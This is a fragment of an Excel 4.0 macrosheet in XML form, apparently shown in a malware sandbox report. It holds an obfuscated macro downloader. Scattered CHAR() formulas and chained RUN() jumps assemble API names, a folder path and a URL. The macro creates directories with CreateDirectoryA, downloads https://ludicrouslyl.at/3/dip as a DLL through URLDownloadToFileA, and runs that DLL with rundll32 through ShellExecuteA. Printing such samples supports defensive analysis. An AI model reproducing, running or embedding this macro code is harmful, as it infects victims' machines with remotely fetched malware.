r="GE1048"><v>667</v></c></row><row r="1055" spans="45:210" x14ac:dyDescent="0.25"><c r="BY1055" t="str"><f>CHAR($BM$818-885)</f><v>d</v></c></row><row r="1064" spans="42:56" x14ac:dyDescent="0.25"><c r="BD1064"><v>274</v></c></row><row r="1072" spans="42:56" x14ac:dyDescent="0.25"><c r="AP1072" t="str"><f>CHAR($IF$36-158)</f><v>o</v></c></row><row r="1077" spans="144:242" x14ac:dyDescent="0.25"><c r="EN1077"><v>79</v></c></row><row r="1079" spans="144:242" x14ac:dyDescent="0.25"><c r="FU1079"><v>274</v></c><c r="IH1079" t="str"><f>CHAR($FR$1729-102)</f><v>D</v></c></row><row r="1090" spans="68:201" x14ac:dyDescent="0.25"><c r="EE1090" t="str"><f>CHAR($HT$1623-158)</f><v>L</v></c></row><row r="1096" spans="68:201" x14ac:dyDescent="0.25"><c r="EV1096" t="b"><f>RUN($EH$1465)</f><v>0</v></c></row><row r="1100" spans="68:201" x14ac:dyDescent="0.25"><c r="CZ1100"><v>58</v></c><c r="FO1100" t="str"><f>CHAR($GM$1209-557)</f><v>l</v></c></row><row r="1101" spans="68:201" x14ac:dyDescent="0.25"><c r="GS1101"><v>209</v></c></row><row r="1102" spans="68:201" x14ac:dyDescent="0.25"><c r="BP1102" t="str"><f>CHAR($ET$1568-102)</f><v>p</v></c></row><row r="1106" spans="40:220" x14ac:dyDescent="0.25"><c r="AN1106" t="str"><f>CONCATENATE($AS$818,$ER$1674,$CE$817,$EK$38)</f><v>Open</v></c></row><row r="1113" spans="40:220" x14ac:dyDescent="0.25"><c r="CG1113"><v>33</v></c></row><row r="1114" spans="40:220" x14ac:dyDescent="0.25"><c r="BC1114" t="str"><f>CHAR($GE$1048-557)</f><v>n</v></c><c r="GV1114"><v>665</v></c></row><row r="1115" spans="40:220" x14ac:dyDescent="0.25"><c r="EI1115"><v>1001</v></c></row><row r="1116" spans="40:220" x14ac:dyDescent="0.25"><c r="HL1116"><v>240</v></c></row><row r="1117" spans="40:220" x14ac:dyDescent="0.25"><c r="EN1117"><v>82</v></c></row><row r="1120" spans="40:220" x14ac:dyDescent="0.25"><c r="DV1120" t="str"><f>CHAR($CK$1973-885)</f><v>h</v></c></row><row r="1121" spans="17:247" x14ac:dyDescent="0.25"><c r="Q1121"><v>26</v></c></row><row r="1125" spans="17:247" x14ac:dyDescent="0.25"><c r="CI1125" t="str"><f>CHAR($FM$1859-885)</f><v>i</v></c></row><row r="1133" spans="17:247" x14ac:dyDescent="0.25"><c r="IM1133" t="str"><f>CHAR($BR$116-885)</f><v>d</v></c></row><row r="1135" spans="17:247" x14ac:dyDescent="0.25"><c r="AE1135" t="str"><f>CHAR($EQ$213-102)</f><v>v</v></c></row><row r="1141" spans="49:246" x14ac:dyDescent="0.25"><c r="BR1141" t="b"><f>RUN($DQ$1827)</f><v>0</v></c></row><row r="1143" spans="49:246" x14ac:dyDescent="0.25"><c r="CC1143" t="str"><f>CHAR($BH$1522-158)</f><v>d</v></c></row><row r="1144" spans="49:246" x14ac:dyDescent="0.25"><c r="HU1144" t="str"><f>CONCATENATE($HC$228)</f><v>CreateDirectoryA</v></c><c r="IL1144" t="b"><f>RUN($CL$1464)</f><v>0</v></c></row><row r="1145" spans="49:246" x14ac:dyDescent="0.25"><c r="HM1145" t="str"><f>CHAR($EQ$1467-102)</f><v>I</v></c></row><row r="1150" spans="49:246" x14ac:dyDescent="0.25"><c r="AW1150"><v>608</v></c></row><row r="1153" spans="35:167" x14ac:dyDescent="0.25"><c r="AI1153" t="str"><f>CHAR($DZ$212-102)</f><v>d</v></c></row><row r="1160" spans="35:167" x14ac:dyDescent="0.25"><c r="DN1160"><v>194</v></c><c r="FK1160"><v>225</v></c></row><row r="1175" spans="76:241" x14ac:dyDescent="0.25"><c r="IG1175" t="str"><f>CONCATENATE($Z$990,$IM$1133,$AE$1482,$FD$191)</f><v>.dll</v></c></row><row r="1176" spans="76:241" x14ac:dyDescent="0.25"><c r="BX1176"><v>932</v></c></row><row r="1184" spans="76:241" x14ac:dyDescent="0.25"><c r="CM1184"><v>640</v></c></row><row r="1193" spans="51:240" x14ac:dyDescent="0.25"><c r="EH1193" t="str"><f>CONCATENATE($IG$1254,$CS$1238)</f><v>C:\dCuqCTh\DqzYTvx\pQbVnkI.dll</v></c></row><row r="1196" spans="51:240" x14ac:dyDescent="0.25"><c r="CU1196"><v>269</v></c><c r="IF1196" t="str"><f>CHAR($BX$1176-885)</f><v>/</v></c></row><row r="1198" spans="51:240" x14ac:dyDescent="0.25"><c r="AY1198" t="b"><f>RUN($ET$857)</f><v>0</v></c></row><row r="1204" spans="133:239" x14ac:dyDescent="0.25"><c r="IE1204" t="str"><f>CONCATENATE($FP$308,$IG$1039,$GF$1940,$BT$1232,$GC$312,$EF$690)</f><v>URLMON</v></c></row><row r="1206" spans="133:239" x14ac:dyDescent="0.25"><c r="EC1206"><v>19</v></c></row><row r="1209" spans="133:239" x14ac:dyDescent="0.25"><c r="GM1209"><v>665</v></c></row><row r="1222" spans="8:139" x14ac:dyDescent="0.25"><c r="H1222" t="b"><f>RUN($AP$566)</f><v>0</v></c></row><row r="1228" spans="8:139" x14ac:dyDescent="0.25"><c r="EI1228"><v>262</v></c></row><row r="1232" spans="8:139" x14ac:dyDescent="0.25"><c r="BT1232" t="str"><f>CHAR($FS$933-557)</f><v>M</v></c></row><row r="1238" spans="97:198" x14ac:dyDescent="0.25"><c r="CS1238" t="str"><f>CONCATENATE($AV$373)</f><v>l</v></c></row><row r="1244" spans="97:198" x14ac:dyDescent="0.25"><c r="GP1244"><v>632</v></c></row><row r="1248" spans="97:198" x14ac:dyDescent="0.25"><c r="FX1248" t="str"><f>CHAR($FG$1973-158)</f><v>i</v></c></row><row r="1250" spans="4:241" x14ac:dyDescent="0.25"><c r="ES1250"><v>259</v></c></row><row r="1253" spans="4:241" x14ac:dyDescent="0.25"><c r="ES1253"><v>10</v></c></row><row r="1254" spans="4:241" x14ac:dyDescent="0.25"><c r="IG1254" t="str"><f>CONCATENATE($D$1814,$CW$1484,$FX$1870,$AI$1153,$FK$1294,$EH$570,$AY$954,$HG$529,$CQ$1381,$HR$1412,$DL$964,$IH$1079,$GD$439,$EV$185,$BM$1039,$FZ$144,$AE$1135,$HR$1387,$CP$1954,$BP$1102,$F$553,$HL$571,$AS$1042,$F$223,$AZ$463,$HM$1145,$D$1260,$DG$358,$GJ$953)</f><v>C:\dCuqCTh\DqzYTvx\pQbVnkI.dl</v></c></row><row r="1258" spans="4:241" x14ac:dyDescent="0.25"><c r="FD1258" t="b"><f>RUN($R$615)</f><v>0</v></c></row><row r="1259" spans="4:241" x14ac:dyDescent="0.25"><c r="BD1259"><v>278</v></c><c r="DK1259"><v>1000</v></c></row><row r="1260" spans="4:241" x14ac:dyDescent="0.25"><c r="D1260" t="str"><f>CHAR($DT$443-102)</f><v>.</v></c></row><row r="1266" spans="9:216" x14ac:dyDescent="0.25"><c r="R1266"><v>932</v></c></row><row r="1268" spans="9:216" x14ac:dyDescent="0.25"><c r="I1268" t="b"><f>RUN($CP$585)</f><v>0</v></c></row><row r="1275" spans="9:216" x14ac:dyDescent="0.25"><c r="HH1275"><v>665</v></c></row><row r="1287" spans="39:167" x14ac:dyDescent="0.25"><c r="AM1287" t="b"><f>RUN($BR$1141)</f><v>0</v></c></row><row r="1291" spans="39:167" x14ac:dyDescent="0.25"><c r="BZ1291"><v>996</v></c></row><row r="1294" spans="39:167" x14ac:dyDescent="0.25"><c r="BD1294"><v>227</v></c><c r="FK1294" t="str"><f>CHAR($BO$717-102)</f><v>C</v></c></row><row r="1304" spans="73:192" x14ac:dyDescent="0.25"><c r="BU1304"><v>85</v></c></row><row r="1306" spans="73:192" x14ac:dyDescent="0.25"><c r="GJ1306" t="b"><f>RUN($I$1268)</f><v>0</v></c></row><row r="1320" spans="188:247" x14ac:dyDescent="0.25"><c r="GF1320" t="b"><f>RUN($II$893)</f><v>0</v></c><c r="IM1320" t="str"><f>CHAR($BZ$1291-885)</f><v>o</v></c></row><row r="1341" spans="41:178" x14ac:dyDescent="0.25"><c r="AO1341"><v>226</v></c></row><row r="1342" spans="41:178" x14ac:dyDescent="0.25"><c r="FV1342"><v>75</v></c></row><row r="1343" spans="41:178" x14ac:dyDescent="0.25"><c r="DR1343" t="b"><f>RUN($FZ$44)</f><v>0</v></c></row><row r="1345" spans="33:33" x14ac:dyDescent="0.25"><c r="AG1345" t="str"><f>CHAR($IA$408-557)</f><v>e</v></c></row><row r="1369" spans="1:160" x14ac:dyDescent="0.25"><c r="A1369"><v>37</v></c></row><row r="1373" spans="1:160" x14ac:dyDescent="0.25"><c r="AU1373"><v>1002</v></c></row><row r="1374" spans="1:160" x14ac:dyDescent="0.25"><c r="FD1374" t="str"><f>CONCATENATE($EE$106)</f><v>Kernel32</v></c></row><row r="1381" spans="75:226" x14ac:dyDescent="0.25"><c r="CQ1381" t="str"><f>CHAR($BN$83-102)</f><v>T</v></c></row><row r="1382" spans="75:226" x14ac:dyDescent="0.25"><c r="GF1382"><v>10</v></c></row><row r="1387" spans="75:226" x14ac:dyDescent="0.25"><c r="HR1387" t="str"><f>CHAR($CF$1045-102)</f><v>x</v></c></row><row r="1388" spans="75:226" x14ac:dyDescent="0.25"><c r="CO1388" t="str"><f>CHAR($GG$813-158)</f><v>A</v></c><c r="CZ1388"><v>80</v></c></row><row r="1389" spans="75:226" x14ac:dyDescent="0.25"><c r="GW1389" t="b"><f>RUN($BO$432)</f><v>0</v></c></row><row r="1392" spans="75:226" x14ac:dyDescent="0.25"><c r="BW1392"><v>66</v></c></row><row r="1399" spans="97:134" x14ac:dyDescent="0.25"><c r="CS1399" t="str"><f>CHAR($BB$170-557)</f><v>3</v></c><c r="ED1399"><v>98</v></c></row><row r="1402" spans="97:134" x14ac:dyDescent="0.25"><c r="CY1402"><v>936</v></c></row><row r="1412" spans="29:248" x14ac:dyDescent="0.25"><c r="HR1412" t="str"><f>CHAR($AU$1603-102)</f><v>h</v></c></row><row r="1414" spans="29:248" x14ac:dyDescent="0.25"><c r="EB1414" t="b"><f>RUN($HO$1578)</f><v>0</v></c></row><row r="1415" spans="29:248" x14ac:dyDescent="0.25"><c r="IN1415"><v>259</v></c></row><row r="1420" spans="29:248" x14ac:dyDescent="0.25"><c r="AC1420" t="b"><f>RUN($EH$953)</f><v>0</v></c><c r="HZ1420" t="str"><f>CHAR($EI$1228-158)</f><v>h</v></c></row><row r="1444" spans="25:220" x14ac:dyDescent="0.25"><c r="Y1444" t="str"><f>CHAR($R$1266-885)</f><v>/</v></c></row><row r="1449" spans="25:220" x14ac:dyDescent="0.25"><c r="HL1449"><v>62</v></c></row><row r="1450" spans="25:220" x14ac:dyDescent="0.25"><c r="AQ1450"><v>215</v></c></row><row r="1453" spans="25:220" x14ac:dyDescent="0.25"><c r="FN1453" t="b"><f>RUN($F$1474)</f><v>0</v></c></row><row r="1454" spans="25:220" x14ac:dyDescent="0.25"><c r="EG1454"><v>87</v></c></row><row r="1465" spans="14:209" x14ac:dyDescent="0.25"><c r="CL1465"><f>CALL($FD$1374,$HU$1144,"JCJ","C:\dCuqCTh",0)</f><v>0</v></c><c r="EH1465" t="b"><f>RUN($FL$1972)</f><v>0</v></c></row><row r="1466" spans="14:209" x14ac:dyDescent="0.25"><c r="CL1466"><f>CALL($FD$1374,$HU$1144,"JCJ","C:\dCuqCTh\DqzYTvx",0)</f><v>0</v></c></row><row r="1467" spans="14:209" x14ac:dyDescent="0.25"><c r="CL1467"><f>CALL($A$1822,$GL$1734, "JJCCJJ",0,$BB$54,$EH$1193,0,0)</f><v>0</v></c><c r="EQ1467"><v>175</v></c></row><row r="1468" spans="14:209" x14ac:dyDescent="0.25"><c r="AG1468"><v>169</v></c><c r="CL1468"><f>CALL($HH$74,$B$1576, "JJCCCCJ",0,$BR$732,"rundll32.exe",$EH$1193&",f1",0,0)</f><v>42</v></c></row><row r="1469" spans="14:209" x14ac:dyDescent="0.25"><c r="N1469" t="b"><f>RUN($EZ$1779)</f><v>0</v></c><c r="HA1469"><v>49</v></c></row><row r="1473" spans="6:245" x14ac:dyDescent="0.25"><c r="CL1473" t="b"><f>HALT()</f><v>1</v></c></row><row r="1474" spans="6:245" x14ac:dyDescent="0.25"><c r="F1474" t="b"><f>RUN($CM$1551)</f><v>0</v></c></row><row r="1482" spans="6:245" x14ac:dyDescent="0.25"><c r="AE1482" t="str"><f>CHAR($DQ$745-885)</f><v>l</v></c><c r="HD1482"><v>223</v></c><c r="IK1482" t="str"><f>CHAR($EU$1922-158)</f><v>c</v></c></row><row r="1484" spans="6:245" x14ac:dyDescent="0.25"><c r="CW1484" t="str"><f>CHAR($FN$69-102)</f><v>:</v></c></row><row r="1492" spans="106:236" x14ac:dyDescent="0.25"><c r="DE1492" t="b"><f>RUN($AZ$862)</f><v>0</v></c></row><row r="1502" spans="106:236" x14ac:dyDescent="0.25"><c r="IB1502" t="b"><f>RUN($BO$841)</f><v>0</v></c></row><row r="1503" spans="106:236" x14ac:dyDescent="0.25"><c r="DB1503" t="b"><f>RUN($GT$963)</f><v>0</v></c></row><row r="1506" spans="16:160" x14ac:dyDescent="0.25"><c r="P1506"><v>71</v></c><c r="DO1506" t="b"><f>RUN($GI$236)</f><v>0</v></c></row><row r="1517" spans="16:160" x14ac:dyDescent="0.25"><c r="BT1517"><v>89</v></c><c r="FD1517"><v>215</v></c></row><row r="1518" spans="16:160" x14ac:dyDescent="0.25"><c r="BM1518" t="b"><f>RUN($DO$1506)</f><v>0</v></c></row><row r="1521" spans="15:192" x14ac:dyDescent="0.25"><c r="GJ1521" t="b"><f>RUN($EV$1096)</f><v>0</v></c></row><row r="1522" spans="15:192" x14ac:dyDescent="0.25"><c r="BH1522"><v>258</v></c></row><row r="1530" spans="15:192" x14ac:dyDescent="0.25"><c r="O1530" t="b"><f>RUN($FI$1569)</f><v>0</v></c></row><row r="1546" spans="91:132" x14ac:dyDescent="0.25"><c r="CM1546"><v>269</v></c></row><row r="1548" spans="91:132" x14ac:dyDescent="0.25"><c r="EB1548" t="str"><f>CHAR($AY$73-158)</f><v>l</v></c></row><row r="1551" spans="91:132" x14ac:dyDescent="0.25"><c r="CM1551" t="b"><f>RUN($GJ$1521)</f><v>0</v></c></row><row r="1554" spans="122:238" x14ac:dyDescent="0.25"><c r="GW1554" t="b"><f>RUN($Y$60)</f><v>0</v></c></row><row r="1555" spans="122:238" x14ac:dyDescent="0.25"><c r="ID1555"><v>191</v></c></row><row r="1560" spans="122:238" x14ac:dyDescent="0.25"><c r="DR1560"><v>200</v></c></row><row r="1568" spans="122:238" x14ac:dyDescent="0.25"><c r="ET1568"><v>214</v></c><c r="HW1568" t="str"><f>CONCATENATE($DV$1120,$DD$1983,$HR$252,$BE$337,$EV$1959,$K$1774,$W$1606,$Y$1444,$HJ$393,$GH$1029,$BK$697,$FE$1886,$ER$260,$Q$818,$IM$1320,$HA$893,$FN$602,$U$1990,$BP$627,$EG$572,$AT$531,$CB$559,$V$1580,$IF$1196,$DU$166,$V$1937,$BY$1055,$CI$1125,$EC$601)</f><v>https://ludicrouslyl.at/3/dip</v></c></row><row r="1569" spans="2:223" x14ac:dyDescent="0.25"><c r="FI1569" t="b"><f>RUN($GG$164)</f><v>0</v></c></row><row r="1575" spans="2:223" x14ac:dyDescent="0.25"><c r="CB1575"><v>931</v></c></row><row r="1576" spans="2:223" x14ac:dyDescent="0.25"><c r="B1576" t="str"><f>CONCATENATE($AB$1748)</f><v>ShellExecuteA</v></c><c r="BC1576" t="str"><f>CHAR($HL$1116-158)</f><v>R</v></c></row><row r="1578" spans="2:223" x14ac:dyDescent="0.25"><c r="HO1578" t="b"><f>RUN($FI$769)</f><v>0</v></c></row><row r="1580" spans="2:223" x14ac:dyDescent="0.25"><c r="V1580" t="str"><f>CHAR($EI$1115-885)</f><v>t</v></c></row><row r="1584" spans="2:223" x14ac:dyDescent="0.25"><c r="FD1584" t="b"><f>RUN($DJ$964)</f><v>0</v></c></row><row r="1594" spans="27:200" x14ac:dyDescent="0.25"><c r="AA1594" t="b"><f>RUN($T$10)</f><v>0</v></c></row><row r="1600" spans="27:200" x14ac:dyDescent="0.25"><c r="GR1600"><v>85</v></c></row><row r="1603" spans="23:232" x14ac:dyDescent="0.25"><c r="AU1603"><v>206</v></c></row><row r="1606" spans="23:232" x14ac:dyDescent="0.25"><c r="W1606" t="str"><f>CHAR($J$901-885)</f><v>/</v></c></row><row r="1613" spans="23:232" x14ac:dyDescent="0.25"><c r="HX1613" t="b"><f>RUN($FR$1895)</f><v>0</v></c></row><row r="1623" spans="66:228" x14ac:dyDescent="0.25"><c r="HT1623"><v>234</v></c></row><row r="1624" spans="66:228" x14ac:dyDescent="0.25"><c r="BN1624"><v>259</v></c></row><row r="1628" spans="66:228" x14ac:dyDescent="0.25"><c r="BQ1628" t="str"><f>CHAR($BD$1064-158)</f><v>t</v></c></row><row r="1630" spans="66:228" x14ac:dyDescent="0.25"><c r="HS1630" t="b"><f>RUN($CB$1038)</f><v>0</v></c></row><row r="1635" spans="169:169" x14ac:dyDescent="0.25"><c r="FM1635"><v>259</v></c></row><row r="1654" spans="108:176" x14ac:dyDescent="0.25"><c r="DD1654"><v>997</v></c></row><row r="1657" spans="108:176" x14ac:dyDescent="0.25"><c r="FT1657"><v>259</v></c></row><row r="1674" spans="90:148" x14ac:dyDescent="0.25"><c r="ER1674" t="str"><f>CHAR($CS$1705-158)</f><v>p</v></c></row><row r="1675" spans="90:148" x14ac:dyDescent="0.25"><c r="CL1675"><v>607</v></c></row><row r="1684" spans="166:219" x14ac:dyDescent="0.25"><c r="FJ1684" t="b"><f>RUN($N$1469)</f><v>0</v></c></row><row r="1692" spans="166:219" x14ac:dyDescent="0.25"><c r="HK1692"><v>993</v></c></row><row r="1698" spans="11:212" x14ac:dyDescent="0.25"><c r="BJ1698"><v>45</v></c></row><row r="1699" spans="11:212" x14ac:dyDescent="0.25"><c r="AO1699" t="b"><f>RUN($H$1222)</f><v>0</v></c></row><row r="1705" spans="11:212" x14ac:dyDescent="0.25"><c r="CS1705"><v>270</v></c></row><row r="1710" spans="11:212" x14ac:dyDescent="0.25"><c r="K1710"><v>639</v></c><c r="HD1710" t="str"><f>CHAR($BD$1294-158)</f><v>E</v></c></row><row r="1711" spans="11:212" x14ac:dyDescent="0.25"><c r="BE1711"><v>259</v></c></row><row r="1715" spans="144:232" x14ac:dyDescent="0.25"><c r="EN1715" t="b"><f>RUN($IC$300)</f><v>0</v></c><c r="HX1715" t="str"><f>CHAR($FA$695-158)</f><v>D</v></c></row><row r="1729" spans="54:208" x14ac:dyDescent="0.25"><c r="FR1729"><v>170</v></c></row><row r="1734" spans="54:208" x14ac:dyDescent="0.25"><c r="GL1734" t="str"><f>CONCATENATE($GP$411)</f><v>URLDownloadToFileA</v></c></row><row r="1735" spans="54:208" x14ac:dyDescent="0.25"><c r="BB1735"><v>635</v></c></row><row r="1737" spans="54:208" x14ac:dyDescent="0.25"><c r="GZ1737"><v>255</v></c></row><row r="1748" spans="28:121" x14ac:dyDescent="0.25"><c r="AB1748" t="str"><f>CONCATENATE($CO$1012,$HZ$1420,$IJ$711,$GM$1980,$EB$1548,$HD$1710,$HK$374,$DN$1791,$IK$1482,$EU$1965,$BQ$1628,$AY$799,$ID$50)</f><v>ShellExecuteA</v></c></row><row r="1750" spans="28:121" x14ac:dyDescent="0.25"><c r="DQ1750"><v>20</v></c></row><row r="1757" spans="28:121" x14ac:dyDescent="0.25"><c r="BG1757" t="str"><f>CHAR($FU$1079-158)</f><v>t</v></c></row><row r="1761" spans="11:123" x14ac:dyDescent="0.25"><c r="DS1761"><v>72</v></c></row><row r="1767" spans="11:123" x14ac:dyDescent="0.25"><c r="CA1767"><v>1001</v></c></row><row r="1774" spans="11:123" x14ac:dyDescent="0.25"><c r="K1774" t="str"><f>CHAR($FH$354-885)</f><v>:</v></c></row><row r="1779" spans="80:156" x14ac:dyDescent="0.25"><c r="EZ1779" t="b"><f>RUN($GW$42)</f><v>0</v></c></row><row r="1783" spans="80:156" x14ac:dyDescent="0.25"><c r="CB1783" t="b"><f>RUN($DR$538)</f><v>0</v></c></row><row r="1791" spans="80:156" x14ac:dyDescent="0.25"><c r="DN1791" t="str"><f>CHAR($BN$1624-158)</f><v>e</v></c></row><row r="1800" spans="91:91" x14ac:dyDescent="0.25"><c r="CM1800" t="b"><f>RUN($CF$302)</f><v>0</v></c></row><row r="1809" spans="1:242" x14ac:dyDescent="0.25"><c r="AR1809" t="str"><f>CHAR($CL$1675-557)</f><v>2</v></c></row><row r="1812" spans="1:242" x14ac:dyDescent="0.25"><c r="IC1812"><v>636</v></c></row><row r="1814" spans="1:242" x14ac:dyDescent="0.25"><c r="D1814" t="str"><f>CHAR($AG$1468-102)</f><v>C</v></c></row><row r="1817" spans="1:242" x14ac:dyDescent="0.25"><c r="CS1817" t="b"><f>RUN($AK$643)</f><v>0</v></c><c r="FJ1817"><v>279</v></c></row><row r="1822" spans="1:242" x14ac:dyDescent="0.25"><c r="A1822" t="str"><f>CONCATENATE($IE$1204)</f><v>URLMON</v></c></row><row r="1823" spans="1:242" x14ac:dyDescent="0.25"><c r="CE1823" t="str"><f>CHAR($BL$983-557)</f><v>e</v></c></row><row r="1824" spans="1:242" x14ac:dyDescent="0.25"><c r="IH1824" t="str"><f>CHAR($CV$1826-158)</f><v>T</v></c></row><row r="1826" spans="100:165" x14ac:dyDescent="0.25"><c r="CV1826"><v>242</v></c></row><row r="1827" spans="100:165" x14ac:dyDescent="0.25"><c r="DQ1827" t="b"><f>RUN($EN$1715)</f><v>0</v></c></row><row r="1840" spans="100:165" x14ac:dyDescent="0.25"><c r="FI1840"><v>210</v></c></row><row r="1842" spans="180:180" x14ac:dyDescent="0.25"><c r="FX1842"><v>183</v></c></row><row r="1857" spans="31:180" x14ac:dyDescent="0.25"><c r="FV1857"><v>633</v></c></row><row r="1859" spans="31:180" x14ac:dyDescent="0.25"><c r="FM1859"><v>990</v></c></row><row r="1861" spans="31:180" x14ac:dyDescent="0.25"><c r="BR1861"><v>90</v></c></row><row r="1862" spans="31:180" x14ac:dyDescent="0.25"><c r="DJ1862" t="b"><f>RUN($GV$988)</f><v>0</v></c></row><row r="1865" spans="31:180" x14ac:dyDescent="0.25"><c r="AE1865" t="b"><f>RUN($O$1530)</f><v>0</v></c></row><row r="1870" spans="31:180" x14ac:dyDescent="0.25"><c r="FX1870" t="str"><f>CHAR($BW$606-102)</f><v>\</v></c></row><row r="1871" spans="31:180" x14ac:dyDescent="0.25"><c r="BD1871" t="str"><f>CHAR($IA$338-158)</f><v>l</v></c></row><row r="1881" spans="161:172" x14ac:dyDescent="0.25"><c r="FP1881"><v>1</v></c></row><row r="1886" spans="161:172" x14ac:dyDescent="0.25"><c r="FE1886" t="str"><f>CHAR($BJ$1889-885)</f><v>i</v></c></row><row r="1889" spans="62:174" x14ac:dyDescent="0.25"><c r="BJ1889"><v>990</v></c></row><row r="1895" spans="62:174" x14ac:dyDescent="0.25"><c r="FR1895" t="b"><f>RUN($EA$569)</f><v>0</v></c></row><row r="1907" spans="10:208" x14ac:dyDescent="0.25"><c r="DR1907" t="b"><f>RUN($GJ$1306)</f><v>0</v></c></row><row r="1908" spans="10:208" x14ac:dyDescent="0.25"><c r="J1908"><v>272</v></c></row><row r="1910" spans="10:208" x14ac:dyDescent="0.25"><c r="GZ1910" t="str"><f>CHAR($HZ$668-557)</f><v>h</v></c></row><row r="1912" spans="10:208" x14ac:dyDescent="0.25"><c r="EM1912" t="b"><f>RUN($CA$847)</f><v>0</v></c></row><row r="1917" spans="10:208" x14ac:dyDescent="0.25"><c r="GH1917"><v>21</v></c></row><row r="1922" spans="28:151" x14ac:dyDescent="0.25"><c r="EU1922"><v>257</v></c></row><row r="1926" spans="28:151" x14ac:dyDescent="0.25"><c r="DU1926" t="str"><f>CHAR($J$1908-158)</f><v>r</v></c></row><row r="1928" spans="28:151" x14ac:dyDescent="0.25"><c r="AB1928"><v>59</v></c></row><row r="1934" spans="28:151" x14ac:dyDescent="0.25"><c r="CX1934"><v>607</v></c></row><row r="1936" spans="28:151" x14ac:dyDescent="0.25"><c r="CY1936" t="str"><f>CHAR($CU$1196-158)</f><v>o</v></c></row><row r="1937" spans="22:188" x14ac:dyDescent="0.25"><c r="V1937" t="str"><f>CHAR($DD$906-885)</f><v>/</v></c></row><row r="1940" spans="22:188" x14ac:dyDescent="0.25"><c r="GF1940" t="str"><f>CHAR($FV$1857-557)</f><v>L</v></c></row><row r="1946" spans="22:188" x14ac:dyDescent="0.25"><c r="EZ1946"><v>642</v></c></row><row r="1950" spans="22:188" x14ac:dyDescent="0.25"><c r="BQ1950" t="b"><f>RUN($FJ$1013)</f><v>0</v></c></row><row r="1954" spans="94:176" x14ac:dyDescent="0.25"><c r="CP1954" t="str"><f>CHAR($DR$134-102)</f><v>\</v></c></row><row r="1959" spans="94:176" x14ac:dyDescent="0.25"><c r="EV1959" t="str"><f>CHAR($DK$1259-885)</f><v>s</v></c></row><row r="1961" spans="94:176" x14ac:dyDescent="0.25"><c r="FT1961"><v>277</v></c></row><row r="1965" spans="94:176" x14ac:dyDescent="0.25"><c r="EU1965" t="str"><f>CHAR($AR$957-158)</f><v>u</v></c></row><row r="1969" spans="15:217" x14ac:dyDescent="0.25"><c r="V1969"><v>266</v></c></row><row r="1972" spans="15:217" x14ac:dyDescent="0.25"><c r="FL1972" t="b"><f>RUN($AA$1594)</f><v>0</v></c></row><row r="1973" spans="15:217" x14ac:dyDescent="0.25"><c r="CK1973"><v>989</v></c><c r="FG1973"><v>263</v></c></row><row r="1979" spans="15:217" x14ac:dyDescent="0.25"><c r="O1979" t="b"><f>RUN($GW$1554)</f><v>0</v></c><c r="HI1979" t="str"><f>CHAR($HD$1482-158)</f><v>A</v></c></row><row r="1980" spans="15:217" x14ac:dyDescent="0.25"><c r="GM1980" t="str"><f>CHAR($V$1969-158)</f><v>l</v></c></row><row r="1981" spans="15:217" x14ac:dyDescent="0.25"><c r="HC1981"><v>237</v></c></row><row r="1983" spans="15:217" x14ac:dyDescent="0.25"><c r="DD1983" t="str"><f>CHAR($CL$1016-885)</f><v>t</v></c></row><row r="1984" spans="15:217" x14ac:dyDescent="0.25"><c r="HE1984"><v>188</v></c></row><row r="1990" spans="21:225" x14ac:dyDescent="0.25"><c r="U1990" t="str"><f>CHAR($HJ$1025-885)</f><v>l</v></c><c r="HQ1990"><v>257</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.